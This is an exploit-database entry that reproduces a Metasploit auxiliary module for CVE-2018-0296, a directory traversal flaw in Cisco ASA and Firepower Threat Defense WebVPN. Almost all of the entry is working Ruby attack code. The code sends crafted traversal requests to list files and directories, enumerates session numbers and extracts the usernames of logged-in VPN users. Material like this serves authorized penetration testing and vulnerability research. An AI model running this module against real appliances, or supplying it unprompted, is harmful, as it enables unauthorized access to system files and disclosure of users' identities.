Cisco ASA Directory Traversal

2024.09.01
Credit: Shelby Pace
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-22

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco ASA Directory Traversal', 'Description' => %q{ This module exploits a directory traversal vulnerability in Cisco's Adaptive Security Appliance (ASA) software and Firepower Threat Defense (FTD) software. It lists the contents of Cisco's VPN web service which includes directories, files, and currently logged in users. }, 'Author' => [ 'MichaƂ Bentkowski', # Discovery 'Yassine Aboukir', # PoC 'Shelby Pace' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2018-0296' ], [ 'EDB', '44956' ] ], 'DisclosureDate' => '2018-06-06' )) register_options( [ OptString.new('TARGETURI', [ true, 'Path to Cisco installation', '/' ]), OptBool.new('SSL', [ true, 'Use SSL', true ]), Opt::RPORT(443) ]) end def is_accessible? uri = normalize_uri(target_uri.path, '+CSCOE+/logon.html') res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) return (res && (res.body.include?("SSL VPN Service") || res.body.include?("+CSCOE+") || res.body.include?("+webvpn+") || res.body.include?("webvpnlogin"))) end def list_files(path) uri = normalize_uri(target_uri.path, path) list_res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) if list_res && list_res.code == 200 if list_res.body.match(/\/{3}sessions/) get_sessions(list_res.body) else print_good(list_res.body) end end end def get_sessions(response) session_nos = response.scan(/([0-9]{2,})/) if session_nos.empty? print_status("Could not detect any sessions") print("\n") return end print_good(response) list_users(session_nos) end def list_users(sessions) sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/' user_ids = Array.new sessions.each do |session_no| users_res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, sessions_uri, session_no) ) if users_res && users_res.body.include?('name') user_ids.push(users_res.body.match(/user:(\w+)/).to_s) end end unless user_ids.empty? print_status('Users logged in:') user_ids.each { |id| print_good(id) } print("\n") return end print_status("There are no users logged in currently") end def run file_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/' sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/' cscoe_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b' paths = [file_uri, sessions_uri, cscoe_uri] unless is_accessible? fail_with(Failure::NotFound, 'Failed to reach Cisco web logon service') end paths.each { |path| list_files(path) } end end


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